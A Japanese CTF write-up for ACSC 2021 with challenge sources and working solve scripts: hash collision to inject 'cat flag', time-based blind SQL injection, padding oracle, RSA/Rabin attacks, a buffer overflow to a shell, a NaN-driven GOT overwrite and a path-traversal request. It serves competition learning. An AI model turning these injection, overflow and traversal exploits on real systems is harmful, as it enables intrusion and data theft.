ACSC 2021 Writeup

Sun Sep 19 2021

    9/18-19 で開催していた ACSC に参加しました。個人戦なので当然ソロ参加です。結果は 18th/483 (得点のあるチームのみカウント) でした。 Crypto が1問解けなかったのと、 Web のそこそこ解かれている問題が解けなかったのが結構悔しいです… 以下、解けた問題についての writeup です。

    Crypto

    Wonderful Hash

    11 solves

    chall.py
    import os
    import string
    from Crypto.Cipher import AES, ARC4, DES
    
    BLOCK = 16
    
    
    def bxor(a, b):
      res = [c1 ^ c2 for (c1, c2) in zip(a, b)]
      return bytes(res)
    
    
    def block_hash(data):
      data = AES.new(data, AES.MODE_ECB).encrypt(b"\x00" * AES.block_size)
      data = ARC4.new(data).encrypt(b"\x00" * DES.key_size)
      data = DES.new(data, DES.MODE_ECB).encrypt(b"\x00" * DES.block_size)
      return data[:-2]
    
    
    def hash(data):
      length = len(data)
      if length % BLOCK != 0:
        pad_len = BLOCK - length % BLOCK
        data += bytes([pad_len] * pad_len)
        length += pad_len
      block_cnt = length // BLOCK
      blocks = [data[i * BLOCK:(i + 1) * BLOCK] for i in range(block_cnt)]
      res = b"\x00" * BLOCK
      for block in blocks:
        res = bxor(res, block_hash(block))
      return res
    
    
    def check(cmd, new_cmd):
      if len(cmd) != len(new_cmd):
        return False
      if hash(cmd) != hash(new_cmd):
        return False
      for c in new_cmd:
        if chr(c) not in string.printable:
          return False
      return True
    
    
    cmd = (b"echo 'There are a lot of Capture The Flag (CTF) competitions in "
           b"our days, some of them have excelent tasks, but in most cases "
           b"they're forgotten just after the CTF finished. We decided to make"
           b" some kind of CTF archive and of course, it'll be too boring to "
           b"have just an archive, so we made a place, where you can get some "
           b"another CTF-related info - current overall Capture The Flag team "
           b"rating, per-team statistics etc'")
    
    
    def menu():
      print("[S]tore command")
      print("[E]xecute command")
      print("[F]iles")
      print("[L]eave")
      return input("> ")
    
    
    while True:
      choice = menu()
      if choice[0] == "S":
        new_cmd = input().encode()
        if check(cmd, new_cmd):
          cmd = new_cmd
        else:
          print("Oops!")
          exit(1)
      elif choice[0] == "E":
        os.system(cmd)
      elif choice[0] == "F":
        os.system(b"ls")
      elif choice[0] == "L":
        break
      else:
        print("Command Unsupported")
        exit(1)

    AES, ARC4, DES を使った自前ハッシュ関数の問題です。事前に用意されている cmd と同じハッシュかつ同じ文字列長のコマンドを実行することができます。 ./flag というファイルがあるので cat flag 等を実行できればよさそうです。 ハッシュは16bytesのブロックごとに 16->6bytes の変換がされ、各ブロックで xor を取っています。 cmd の文字列長を考慮すると27ブロックとなります。

    最初のブロックを cat flag;#AAAAAA とすれば以降の文字が何であれフラグを表示できます。このブロックを BLOCK とすると、 BLOCK||BLOCK||...||BLOCK と偶数個くっつけるとその部分のハッシュは0になります。 そのため、 cmd の奇数個 (3以上) のブロックのハッシュと衝突する16文字を見つけることができれば (DUMMY とする)、 BLOCK||...||BLOCK||DUMMY||cmdのDUMMY計算に使われない部分 とすればハッシュが cmd と一致します。なのでそのような16文字を見つけにいきます。

    いい方法が思いつかなかったので力技でやりました…

    d_inv = {}
    while True:
        tmp = "".join([random.choice(string.printable) for _ in range(16)]).encode()
        d_inv[block_hash(tmp)] = tmp

    このようなコードでハッシュ→文字列のマップを作ります。他の問題解きながら集めていたら 35747199 個集まっていました…えぐい

    from itertools import combinations
    
    blocks = [data[i * BLOCK:(i + 1) * BLOCK] for i in range(block_cnt)]
    hashes = [block_hash(block) for block in blocks]
    for r in range(3, 27, 2):
        print(r)
        for i_list in combinations(range(len(blocks)-1), r=r):
            res = b"\x00" * 16
            for i in i_list:
                res = bxor(res, hashes[i])
            tmp = d_inv.get(res, None)
            if tmp is not None:
                print(tmp, res, i_list, r)

    これで cmd の一部のハッシュと一致する文字を探します。1つだけ見つかりました。 cmd のブロックの (0, 3, 6, 16, 17, 20, 22, 23, 25) 番目のハッシュと b'h[=<JB^dl&v`(~W\' のハッシュが衝突するようです。 以上の情報をもとに新しい cmd を作ります。

    use = b'h[=<JB^dl&v`(~W\\'
    idx_list = (0, 3, 6, 16, 17, 20, 22, 23, 25)
    
    payload_blocks = blocks.copy()
    payload_cmd = b"cat flag;#"
    payload_cmd += b"A" * (16 - len(payload_cmd))
    for i in idx_list[:-1]:
        payload_blocks[i] = payload_cmd
    payload_blocks[idx_list[-1]] = use
    payload = b"".join(payload_blocks)
    payload[:-15]
    cat flag;#AAAAAAa lot of Capture The Flag (CTF) cat flag;#AAAAAAour days, some of them have excecat flag;#AAAAAAin most cases they're forgotten just after the CTF finished. We decided to make some kind of CTF archive and of course, it'll be too boring to hcat flag;#AAAAAAcat flag;#AAAAAAa place, where you can get some cat flag;#AAAAAAted info - currecat flag;#AAAAAAcat flag;#AAAAAA rating, per-teah[=<JB^dl&v`(~W\'

    これを実行させることでフラグが表示されました。

    ACSC{M1Tm_i5_FunNY_But_Painfu1}

    Secret Saver

    12 solves

    <?php
        include "config.php";
    
        $msg  = $_POST['msg'] ?? "";
        $name = $_POST['name'] ?? "";
        if ( strlen($name) < 4 || strlen($msg) < 8 )
            highlight_file(__FILE__) && exit();
    
        $data = array(
            "name" => $name, 
            "msg"  => $msg, 
            "flag" => "ACSC{" . $KEY . "}" // try to get this flag!
        );
    
        $iv   = openssl_random_pseudo_bytes(16);
        $data = gzcompress(json_encode($data));
        $data = openssl_encrypt($data, 'aes-256-ctr', $KEY, OPENSSL_RAW_DATA, $iv);
        $data = bin2hex( $iv . $data );
    
        $conn = new mysqli($HOST, $USER, $PASS, $NAME);
        $sql  = sprintf("insert into msgs (msg, name) values('%s', '%s')", $data, $name);
        if (!$conn->query($sql))
            die($conn->error);
        
        echo $conn->insert_id;
        $conn->close();

    入力したデータとフラグの文字列の json について、 gzcompress のあと AES の CTR モードで暗号化したものを DB に突っ込んでいます。

    CTR モードなので平文と暗号文は同じ文字列になります。 gzcompress は同じ文字列が繰り返されていると圧縮率が高まるため namemsgACTF{X を入れたときに X がフラグの1文字目と一致しているときだけ暗号化後の data が短くなることが期待されます。なので SQLi で DB 内の data の長さをリークさせることができればフラグを復元できそうです。

    SQLi は '||IF(LENGTH((select msg from (SELECT msg FROM msgs WHERE id={id_})tmp))=174,SLEEP(10),0)||' のようなクエリを投げることで行いました。この例でいうと、 id_ = $conn->insert_id の長さが174のときだけ10秒 sleep が入ります。

    solve.py
    # 長さのリーク
    flag = "AAAACSC{"
    res = requests.post(url, data={"msg": flag*2, "name": flag*2})
    id_ = res.text
    for i in range(160, 300):
        print(i)
        now = time.perf_counter()
        res = requests.post(url, data={"msg": "testtest", "name": f"'||IF(LENGTH((select msg from (SELECT msg FROM msgs WHERE id={id_})tmp))={i},SLEEP(10),0)||'"})
        duration = time.perf_counter() - now
        if duration >= 10:
            print("found!", i)
            break
    
    # 文字列を決めていく
    flag = "AAAACSC{"
    for idx in range(32):
        for i in range(32, 128):
            c = chr(i)
            if c in "\\'":
                continue
            print(c)
            res = requests.post(url, data={"msg": (flag+c)*2, "name": (flag+c)*2})
            id_ = int(res.text)
            now = time.perf_counter()
            res = requests.post(url, data={"msg": "testtest", "name": f"'||IF(LENGTH((select msg from (SELECT msg FROM msgs WHERE id={id_})tmp))=174,SLEEP(2),0)||'"})
            duration = time.perf_counter() - now
            if duration >= 2:
                print("found!", c)
                flag += c
                print(flag)
                break
        else:
            raise RuntimeError

    ACSC{MAK3-CRiME-4TT4CK-GREAT-AGaiN!}

    途中で暗号文の長さが変わったり、フラグの文字列が32文字だと思いこんでいたりでめちゃくちゃ手こずってしまった…

    Two Rabin

    20 solves

    chal.py
    import random
    from Crypto.Util.number import *
    from Crypto.Util.Padding import pad
    
    from flag import flag
    
    p = getStrongPrime(512)
    q = getStrongPrime(512)
    n = p * q
    B = getStrongPrime(512)
    
    m = flag[0:len(flag)//2]
    print("flag1_len =",len(m))
    
    m1 = bytes_to_long(m)
    m2 = bytes_to_long(pad(m,128))
    
    assert m1 < n
    assert m2 < n
    
    c1 = (m1*(m1+B)) % n
    c2 = (m2*(m2+B)) % n
    
    print("n =",n)
    print("B =",B)
    print("c1 =",c1)
    print("c2 =",c2)
    
    # Harder!
    
    m = flag[len(flag)//2:]
    print("flag2_len =",len(m))
    
    m1 = bytes_to_long(m)
    m1 <<= ( (128-len(m))*8 )
    m1 += random.SystemRandom().getrandbits( (128-len(m))*8 )
    
    m2 = bytes_to_long(m)
    m2 <<= ( (128-len(m))*8 )
    m2 += random.SystemRandom().getrandbits( (128-len(m))*8 )
    
    assert m1 < n
    assert m2 < n
    
    c1 = (m1*(m1+B)) % n
    c2 = (m2*(m2+B)) % n
    
    print("hard_c1 =",c1)
    print("hard_c2 =",c2)

    前半 m の文字列長がわかっているので、 pad の結果も既知です。 m2 == m1 * 256**(128 - 98) + int("1e" * 30, 16) が成り立ちます。これで連立方程式が解けます。

    a = 256 ** (128 - 98)
    d = int("1e" * 30, 16)
    m1 = (c2 - a^2*c1 - d^2 - B*d) * pow(2*a*d + B*a - a^2*B, -1, n)

    ACSC{Rabin_cryptosystem_was_published_in_January_1979_ed82c25b173f38624f7ba16247c31d04ca22d8652da4

    後半

    128bytes の m1m2 は下位32bytes だけ異なっています。Franklin-Reiter releated message attack が使えそうです。https://inaz2.hatenablog.com/entry/2016/01/20/022936 を参考にさせていただきました。

    from Crypto.Util.number import long_to_bytes
    
    
    PRxy.<x,y> = PolynomialRing(Zmod(n))
    PRx.<xn> = PolynomialRing(Zmod(n))
    PRZZ.<xz,yz> = PolynomialRing(Zmod(n))
    
    g1 = x*(x+B) - hard_c1
    g2 = (x+y)*(x+y+B) - hard_c2
    
    q1 = g1.change_ring(PRZZ)
    q2 = g2.change_ring(PRZZ)
    
    h = q2.resultant(q1)
    h = h.univariate_polynomial()
    h = h.change_ring(PRx).subs(y=xn)
    h = h.monic()
    
    
    def gcd(g1, g2):
        while g2:
            g1, g2 = g2, g1 % g2
        return g1.monic()
    
    
    roots = h.small_roots(epsilon=0.014)
    
    diff = 1637558660573652475698054766420163959191730746581158985657024969935597275
    diff = 105663510238670420757255989578978162666434740162415948750279893317701612062865075870926559751210244886747509597507458509604874043682717453885668881354391379276091832437791327382673554621542363370695590872213882821916016679451005257003324807101635213925825667932900258849901826251288979045274120411473033890824
    PRx.<x> = PolynomialRing(Zmod(n))
    for diff in roots:
        g1 = x*(x+B) - hard_c1
        g2 = (x+diff)*(x+diff+B) - hard_c2
    
        long_to_bytes(-gcd(g1, g2)[0])

    a1d701b0966ffa10a4d1_ec0c177f446964ca9595c187869312b2c0929671ca9b7f0a27e01621c90a9ac255_wow_GJ!!!}

    ACSC{Rabin_cryptosystem_was_published_in_January_1979_ed82c25b173f38624f7ba16247c31d04ca22d8652da4a1d701b0966ffa10a4d1_ec0c177f446964ca9595c187869312b2c0929671ca9b7f0a27e01621c90a9ac255_wow_GJ!!!}

    Swap on Curve

    34 solves

    task.sage
    from params import p, a, b, flag, y
    
    x = int.from_bytes(flag, "big")
    
    assert 0 < x < p
    assert 0 < y < p
    assert x != y
    
    EC = EllipticCurve(GF(p), [a, b])
    
    assert EC(x,y)
    assert EC(y,x)
    
    print("p = {}".format(p))
    print("a = {}".format(a))
    print("b = {}".format(b))

    楕円曲線 y2=x3+ax+by^2 = x^3 + ax + b が与えられています。 (x,y),(y,x)(x, y), (y, x) がどちらも曲線上に乗っているときの xx がフラグとなっています。

    y2=x3+ax+by^2 = x^3 + ax + b を変形して、 (y2b)2=x6+2ax4+a2x2(y^2 - b)^2 = x^6 + 2ax^4 + a^2x^2 とします。これに x2=y3+ay+bx^2 = y^3 + ay + b を代入することで yy についての9次式になります。これを解きます。

    (前 twitter で joseph さんに教えてもらった Ideal([...]).variety() を使う方法は、 NotImplementedError: Factorization of multivariate polynomials over prime fields with characteristic > 2^29 is not implemented. というエラーで刺さりませんでした…)

    solve.sage
    from Crypto.Util.number import long_to_bytes
    
    p = 10224339405907703092027271021531545025590069329651203467716750905186360905870976608482239954157859974243721027388367833391620238905205324488863654155905507
    a = 4497571717921592398955060922592201381291364158316041225609739861880668012419104521771916052114951221663782888917019515720822797673629101617287519628798278
    b = 1147822627440179166862874039888124662334972701778333205963385274435770863246836847305423006003688412952676893584685957117091707234660746455918810395379096
    
    EC = EllipticCurve(GF(p), [a, b])
    
    PR.<y> = PolynomialRing(Zmod(p))
    x2 = y^3 + a*y + b
    f = (x2)^3 + 2*a*(x2)^2 + a^2*(x2) - (y^2 - b)^2
    
    for root in f.roots():
        long_to_bytes(root[0])

    ACSC{have_you_already_read_the_swap<-->swap?}

    CBCBC

    35 solves

    chal.py
    #!/usr/bin/env python3
    
    import base64
    import json
    import os
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad, unpad
    from secret import hidden_username, flag
    
    key = os.urandom(16)
    print(key)
    iv1 = os.urandom(16)
    print(iv1)
    iv2 = os.urandom(16)
    print(iv2)
    
    
    def encrypt(msg):
        aes1 = AES.new(key, AES.MODE_CBC, iv1)
        aes2 = AES.new(key, AES.MODE_CBC, iv2)
        enc = aes2.encrypt(aes1.encrypt(pad(msg, 16)))
        return iv1 + iv2 + enc
    
    
    def decrypt(msg):
        iv1, iv2, enc = msg[:16], msg[16:32], msg[32:]
        aes1 = AES.new(key, AES.MODE_CBC, iv1)
        aes2 = AES.new(key, AES.MODE_CBC, iv2)
        msg = unpad(aes1.decrypt(aes2.decrypt(enc)), 16)
        return msg
    
    
    def create_user():
        username = input("Your username: ")
        if username:
            data = {"username": username, "is_admin": False}
        else:
            # Default token
            data = {"username": hidden_username, "is_admin": True}
        token = encrypt(json.dumps(data).encode())
        print("Your token: ")
        print(base64.b64encode(token).decode())
    
    
    def login():
        username = input("Your username: ")
        token = input("Your token: ").encode()
        try:
            data_raw = decrypt(base64.b64decode(token))
        except:
            print("Failed to login! Check your token again")
            return None
    
        try:
            data = json.loads(data_raw.decode())
        except:
            print("Failed to login! Your token is malformed")
            return None
    
        if "username" not in data or data["username"] != username:
            print("Failed to login! Check your username again")
            return None
    
        return data
    
    
    def none_menu():
        print("1. Create user")
        print("2. Log in")
        print("3. Exit")
    
        try:
            inp = int(input("> "))
        except ValueError:
            print("Wrong choice!")
            return None
    
        if inp == 1:
            create_user()
            return None
        elif inp == 2:
            return login()
        elif inp == 3:
            exit(0)
        else:
            print("Wrong choice!")
            return None
    
    
    def user_menu(user):
        print("1. Show flag")
        print("2. Log out")
        print("3. Exit")
    
        try:
            inp = int(input("> "))
        except ValueError:
            print("Wrong choice!")
            return None
    
        if inp == 1:
            if "is_admin" in user and user["is_admin"]:
                print(flag)
            else:
                print("No.")
            return user
        elif inp == 2:
            return None
        elif inp == 3:
            exit(0)
        else:
            print("Wrong choice!")
            return None
    
    
    def main():
        user = None
    
        print("Welcome to CBCBC flag sharing service!")
        print("You can get the flag free!")
        print("This is super-duper safe from padding oracle attacks,")
        print("because it's using CBC twice!")
        print("=====================================================")
    
        while True:
            if user:
                user = user_menu(user)
            else:
                user = none_menu()
    
    
    if __name__ == "__main__":
        main()

    AES CBC モードを2回行っています。 AES を2つ縦に書いてみるとすぐわかりますが、いつもの padding oracle attack が1ブロックではなく2ブロック分ずれているだけです。

    solve.py
    from base64 import b64decode, b64encode
    
    from Crypto.Cipher import AES
    from Crypto.Util.number import long_to_bytes
    from pwn import remote
    
    # io = remote("localhost", 1337)
    io = remote("cbcbc.chal.acsc.asia", 52171)
    
    io.sendlineafter("> ", b"1")
    io.sendlineafter("username: ", b"")
    io.recvline()
    admin_token = b64decode(io.recvline().strip())
    iv1 = admin_token[:16]
    iv2 = admin_token[16:32]
    admin_token = admin_token[32:]
    saved_admin_token = admin_token
    saved_iv2 = iv2
    saved_iv1 = iv1
    
    
    def try_decrypt(msg):
        io.sendlineafter("> ", b"2")
        io.sendlineafter("username: ", b"hoge")
        io.sendlineafter("token: ", b64encode(msg))
        ret = io.recvline().strip().decode()
        if "Check your token" in ret:
            return False
        else:
            return True
    
    
    admin_token = saved_admin_token
    dec = b""
    idx = 15
    for idx in range(16)[::-1]:
        print(idx)
        for i in range(256):
            if idx == 15 and i == 0:
                continue
            tmp_admin_token = admin_token[:idx] + long_to_bytes(admin_token[idx] ^ i) + admin_token[idx+1:]
            if try_decrypt(iv1 + iv2 + tmp_admin_token):
                dec = long_to_bytes((16 - idx) ^ i) + dec
                tmp = tmp_admin_token[:idx]
                for j in range(idx, 16):
                    tmp += long_to_bytes(tmp_admin_token[j] ^ (16 - idx) ^ (16 - idx + 1))
                tmp += tmp_admin_token[16:]
                admin_token = tmp
                print(dec)
                break
        else:
            raise ValueError
    
    admin_token = saved_admin_token[:-16]
    iv2 = saved_iv2
    idx = 15
    for idx in range(16)[::-1]:
        print(idx)
        for i in range(256):
            tmp_iv2 = iv2[:idx] + long_to_bytes(iv2[idx] ^ i) + iv2[idx+1:]
            # tmp_admin_token = admin_token[:idx] + long_to_bytes(admin_token[idx] ^ i) + admin_token[idx+1:]
            if try_decrypt(iv1 + tmp_iv2 + admin_token):
                dec = long_to_bytes((16 - idx) ^ i) + dec
                tmp = tmp_iv2[:idx]
                for j in range(idx, 16):
                    tmp += long_to_bytes(tmp_iv2[j] ^ (16 - idx) ^ (16 - idx + 1))
                tmp += tmp_iv2[16:]
                iv2 = tmp
                print(dec)
                break
        else:
            raise ValueError
    
    admin_token = saved_admin_token[:-32]
    iv1 = saved_iv1
    idx = 15
    for idx in range(16)[::-1]:
        print(idx)
        for i in range(256):
            tmp_iv1 = iv1[:idx] + long_to_bytes(iv1[idx] ^ i) + iv1[idx+1:]
            # tmp_admin_token = admin_token[:idx] + long_to_bytes(admin_token[idx] ^ i) + admin_token[idx+1:]
            if try_decrypt(tmp_iv1 + iv2 + admin_token):
                dec = long_to_bytes((16 - idx) ^ i) + dec
                tmp = tmp_iv1[:idx]
                for j in range(idx, 16):
                    tmp += long_to_bytes(tmp_iv1[j] ^ (16 - idx) ^ (16 - idx + 1))
                tmp += tmp_iv1[16:]
                iv1 = tmp
                print(dec)
                break
        else:
            raise ValueError

    ACSC{wow_double_CBC_mode_cannot_stop_you_from_doing_padding_oracle_attack_nice_job}

    RSA stream

    121 solves

    chal.py
    import gmpy2
    from Crypto.Util.number import long_to_bytes, bytes_to_long, getStrongPrime, inverse
    from Crypto.Util.Padding import pad
    
    from flag import m
    #m = b"ACSC{<REDACTED>}" # flag!
    
    f = open("chal.py","rb").read() # I'll encrypt myself!
    print("len:",len(f))
    p = getStrongPrime(1024)
    q = getStrongPrime(1024)
    
    n = p * q
    e = 0x10001
    print("n =",n)
    print("e =",e)
    print("# flag length:",len(m))
    m = pad(m, 255)
    m = bytes_to_long(m)
    
    assert m < n
    stream = pow(m,e,n)
    cipher = b""
    
    for a in range(0,len(f),256):
      q = f[a:a+256]
      if len(q) < 256:q = pad(q, 256)
      q = bytes_to_long(q)
      c = stream ^ q
      cipher += long_to_bytes(c,256)
      e = gmpy2.next_prime(e)
      stream = pow(m,e,n)
    
    open("chal.enc","wb").write(cipher)
    
    

    同一の mm を異なる ee で暗号化しているので gcd をとることで mm が復元できます。

    solve.sage
    from Crypto.Util.number import long_to_bytes, bytes_to_long
    
    
    n = 30004084769852356813752671105440339608383648259855991408799224369989221653141334011858388637782175392790629156827256797420595802457583565986882788667881921499468599322171673433298609987641468458633972069634856384101309327514278697390639738321868622386439249269795058985584353709739777081110979765232599757976759602245965314332404529910828253037394397471102918877473504943490285635862702543408002577628022054766664695619542702081689509713681170425764579507127909155563775027797744930354455708003402706090094588522963730499563711811899945647475596034599946875728770617584380135377604299815872040514361551864698426189453
    e0 = 65537
    e1 = 65539
    
    with open("./distfiles/chal.py", "rb") as fp:
        f = fp.read()
    
    with open("./distfiles/chal.enc", "rb") as fp:
        cipher = fp.read()
    
    
    q0 = f[0: 256]
    q0 = bytes_to_long(q0)
    c0 = bytes_to_long(cipher[0: 256])
    stream0 = q0 ^^ c0
    
    q1 = f[256: 512]
    q1 = bytes_to_long(q1)
    c1 = bytes_to_long(cipher[256: 512])
    stream1 = q1 ^^ c1
    
    PR.<x> = PolynomialRing(Zmod(n))
    f0 = x ** e0 - stream0
    f1 = x ** e1 - stream1
    
    if f0.degree() < f1.degree():
        f0, f1 = f1, f0
    
    while f1 != 0:
        f0, f1 = f1, f0 % f1
    
    m = int(-f0[0] * f0[1].inverse_of_unit())
    long_to_bytes(m)

    ACSC{changing_e_is_too_bad_idea_1119332842ed9c60c9917165c57dbd7072b016d5b683b67aba6a648456db189c}

    Pwn

    histogram

    38 solves

    histogram.c
    #include <stdio.h>
    #include <stdlib.h>
    #include <math.h>
    #include <limits.h>
    
    #define WEIGHT_MAX 600 // kg
    #define HEIGHT_MAX 300 // cm
    #define WEIGHT_STRIDE 10
    #define HEIGHT_STRIDE 10
    #define WSIZE (WEIGHT_MAX/WEIGHT_STRIDE)
    #define HSIZE (HEIGHT_MAX/HEIGHT_STRIDE)
    
    int map[WSIZE][HSIZE] = {0};
    int wsum[WSIZE] = {0};
    int hsum[HSIZE] = {0};
    
    /* Fatal error */
    void fatal(const char *msg) {
      printf("{\"status\":\"error\",\"reason\":\"%s\"}", msg);
      exit(1);
    }
    
    /* Call this function to get the flag! */
    void win(void) {
      char flag[0x100];
      FILE *fp = fopen("flag.txt", "r");
      int n = fread(flag, 1, sizeof(flag), fp);
      printf("%s", flag);
      exit(0);
    }
    
    int read_data(FILE *fp) {
      /* Read data */
      double weight, height;
      int n = fscanf(fp, "%lf,%lf", &weight, &height);
      if (n == -1)
        return 1; /* End of data */
      else if (n != 2)
        fatal("Invalid input");
    
      /* Validate input */
      if (weight < 1.0 || weight >= WEIGHT_MAX)
        fatal("Invalid weight");
      if (height < 1.0 || height >= HEIGHT_MAX)
        fatal("Invalid height");
    
      /* Store to map */
      short i, j;
      i = (short)ceil(weight / WEIGHT_STRIDE) - 1;
      j = (short)ceil(height / HEIGHT_STRIDE) - 1;
      
      map[i][j]++;
      wsum[i]++;
      hsum[j]++;
    
      return 0;
    }
    
    /* Print an array in JSON format */
    void json_print_array(int *arr, short n) {
      putchar('[');
      for (short i = 0; i < n; i++) {
        printf("%d", arr[i]);
        if (i != n-1) putchar(',');
      }
      putchar(']');
    }
    
    int main(int argc, char **argv) {
      if (argc < 2)
        fatal("No input file");
    
      /* Open CSV */
      FILE *fp = fopen(argv[1], "r");
      if (fp == NULL)
        fatal("Cannot open the file");
    
      /* Read data from the file */
      int n = 0;
      while (read_data(fp) == 0)
        if (++n > SHRT_MAX)
          fatal("Too many input");
    
      /* Show result */
      printf("{\"status\":\"success\",\"result\":{\"wsum\":");
      json_print_array(wsum, WSIZE);
      printf(",\"hsum\":");
      json_print_array(hsum, HSIZE);
      printf(",\"map\":[");
      for (short i = 0; i < WSIZE; i++) {
        json_print_array(map[i], HSIZE);
        if (i != WSIZE-1) putchar(',');
      }
      printf("]}}");
    
      fclose(fp);
      return 0;
    }

    コードを見ても、脆弱性なくない…?となって百年が経過しました。その割に結構解かれていたので %lf に狙いを絞っていろいろ試したところ、 nan,nan を入力したときにセグフォで落ちるのが確認されました。 nan と不等号の判定は false になるんですね…

    gdb で動作を追ってみると、 got の scanf のアドレスの値が変わっていて (1足されて) 落ちていました。 nan,nannan,10 にすると書き込む場所が1ずれました。 scanf の16bytes 先に fclose があったので、nan,25 といれることで fclose の値を1足すことができます。 fclose はまだ一度も呼ばれていないので plt を指しているのですが、これを520回インクリメントすることで win 関数へ向けることができます。 なので csv として nan,25 と520行かかれたものを用意して POST するとフラグが json の後ろに付け足されて返ってきます。

    ACSC{NaN_demo_iiyo}

    filtered

    168 solves

    filtered.c
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    
    /* Call this function! */
    void win(void) {
      char *args[] = {"/bin/sh", NULL};
      execve(args[0], args, NULL);
      exit(0);
    }
    
    /* Print `msg` */
    void print(const char *msg) {
      write(1, msg, strlen(msg));
    }
    
    /* Print `msg` and read `size` bytes into `buf` */
    void readline(const char *msg, char *buf, size_t size) {
      char c;
      print(msg);
      for (size_t i = 0; i < size; i++) {
        if (read(0, &c, 1) <= 0) {
          print("I/O Error\n");
          exit(1);
        } else if (c == '\n') {
          buf[i] = '\0';
          break;
        } else {
          buf[i] = c;
        }
      }
    }
    
    /* Print `msg` and read an integer value */
    int readint(const char *msg) {
      char buf[0x10];
      readline(msg, buf, 0x10);
      return atoi(buf);
    }
    
    /* Entry point! */
    int main() {
      int length;
      char buf[0x100];
    
      /* Read and check length */
      length = readint("Size: ");
      if (length > 0x100) {
        print("Buffer overflow detected!\n");
        exit(1);
      }
    
      /* Read data */
      readline("Data: ", buf, length);
      print("Bye!\n");
    
      return 0;
    }

    size = -1 を入れると length > 0x100 を無視でき、 readline 内部では size_t として扱われるので 0xffffffff bytes 書き込めます。 BOF で return address を win 関数に変えます。

    solve.py
    from pwn import *
    
    io = remote("filtered.chal.acsc.asia", 9001)
    
    io.sendlineafter("Size: ", "-1")
    io.sendlineafter("Data: ", b"A" * 0x118 + p64(0x4011d6))
    io.interactive()

    ACSC{GCC_d1dn'7_sh0w_w4rn1ng_f0r_1mpl1c17_7yp3_c0nv3rs10n}

    Web

    API

    107 solves

    functions.php
    function challenge($obj){
    	if ($obj->is_login()) {
    		$admin = new Admin();
    		if (!$admin->is_admin()) $admin->redirect('/api.php?#access denied');
    		$cmd = $_REQUEST['c2'];
    		if ($cmd) {
    			switch($cmd){
    				case "gu":
    					echo json_encode($admin->export_users());
    					break;
    				case "gd":
    					echo json_encode($admin->export_db($_REQUEST['db']));
    					break;
    				case "gp":
    					echo json_encode($admin->get_pass());
    					break;
    				case "cf":
    					echo json_encode($admin->compare_flag($_REQUEST['flag']));
    					break;
    			}
    		}
    	}
    }

    このあたりを上手く使うことで flag を読むことができそうです。 一見 $admin->is_admin() でないと redirect されてその先に進めなそうですが、return されていないので無視できます。

    solve.py
    import requests
    
    url = "https://api.chal.acsc.asia"
    res = requests.post(url + "/api.php", params={"id": ["Aaaabbbb"], "pw": "Bbbbbbbbb", "id": "Aaaabbbb", "c": "i", "c2": "gd", "pas": ":<vNk", "db": "../../../../../../flag"}, allow_redirects=False)
    
    print(res.text)

    /lib/db/passcode.db/lib/db/user.db が見れたのでそこから頑張って admin になる方向性でずっとやっていたので時間がかかってしまった… passcode も api から入手できるし今思えば非想定挙動っぽい?

    ACSC{it_is_hard_to_name_a_flag..isn't_it?}